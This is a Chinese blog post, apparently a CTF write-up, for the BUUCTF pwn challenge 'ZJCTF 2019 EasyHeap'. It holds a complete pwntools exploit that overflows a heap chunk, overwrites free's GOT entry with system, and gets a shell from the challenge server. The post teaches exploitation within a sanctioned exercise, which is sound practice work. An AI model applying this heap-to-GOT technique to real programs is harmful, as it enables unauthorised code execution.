[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

这篇博客介绍了一个CTF挑战的解决方案,主要涉及堆溢出漏洞利用。作者通过操纵函数的 GOT 表,将 `system` 函数指针指向 `/bin/sh`,最终实现执行 shell 的目标。利用过程包括了多次内存分配、释放和修改堆块,以达到控制程序执行流的目的。
摘要由CSDN通过智能技术生成

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

思路

我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道。没有结果,
但是我们有system函数我们可以将其放入我们可以操控的函数,比如printf、puts、gets、free等函数的got表,通过传入/bin/sh来解决。利用堆漏洞就可以达到其目的。

exploit

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

p = remote("node4.buuoj.cn",28081)
elf = ELF('easyheap')
p.sendafter('Your choice :',b'1\n')  
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

p.sendafter('Your choice :',b'1\n')  
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

p.sendafter('Your choice :',b'3\n')   # free 1
p.sendafter('Index :','1\n')

payload = p64(0x0) * 13 + p64(0x71)  + p64(0x6020ad) + p64(0x0)
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'0\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',payload)


p.sendafter('Your choice :',b'1\n')      
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')


p.sendafter('Your choice :',b'1\n')  
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')

payload = b'a' * 35 + p64(elf.got['free'])   
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'2\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',payload)


sys_addr = 0x400700
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'0\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',p64(sys_addr))

binsh = '/bin/sh\x00'
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'1\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',binsh)

p.sendafter('Your choice :',b'3\n')
p.sendafter('Index :',b'1\n')

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值